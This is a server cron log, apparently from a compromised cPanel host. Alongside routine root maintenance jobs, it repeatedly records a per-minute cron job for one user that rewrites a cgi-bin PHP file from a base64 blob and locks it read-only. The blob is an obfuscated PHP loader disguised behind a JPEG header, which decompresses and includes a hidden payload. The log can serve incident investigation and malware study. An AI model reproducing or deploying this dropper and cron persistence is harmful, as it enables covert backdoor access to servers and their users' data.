g5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:04:01 server CROND[8509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:04:01 server CROND[8510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:05:01 server CROND[8896]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 30 20:05:01 server CROND[8897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:05:01 server CROND[8898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:05:01 server CROND[8901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:05:01 server CROND[8904]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 20:05:01 server CROND[8906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:05:01 server CROND[8905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:05:01 server CROND[8903]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 20:05:01 server CROND[8902]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 20:06:01 server CROND[9868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:06:01 server CROND[9867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:06:01 server CROND[9869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:07:01 server CROND[10259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:07:01 server CROND[10260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:07:01 server CROND[10261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:08:01 server CROND[10644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:08:01 server CROND[10645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:08:01 server CROND[10646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:09:01 server CROND[11029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:09:01 server CROND[11030]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 20:09:01 server CROND[11028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:09:01 server CROND[11031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:10:01 server CROND[11485]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 20:10:01 server CROND[11484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:10:01 server CROND[11488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:10:01 server CROND[11487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:10:01 server CROND[11486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:10:01 server CROND[11492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:10:01 server CROND[11491]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 20:10:01 server CROND[11490]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 20:11:01 server CROND[12451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:11:01 server CROND[12452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:11:01 server CROND[12453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:12:01 server CROND[12844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:12:01 server CROND[12846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:12:01 server CROND[12847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:12:01 server CROND[12845]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 20:13:01 server CROND[13227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:13:01 server CROND[13228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:13:01 server CROND[13236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:14:01 server CROND[13621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:14:01 server CROND[13622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:14:01 server CROND[13623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:15:01 server CROND[14072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:15:01 server CROND[14074]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:15:01 server CROND[14076]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:15:01 server CROND[14080]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 20:15:01 server CROND[14082]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 20:15:01 server CROND[14078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:15:01 server CROND[14079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:15:01 server CROND[14077]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 20:15:01 server CROND[14081]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 20:16:01 server CROND[15031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:16:01 server CROND[15030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
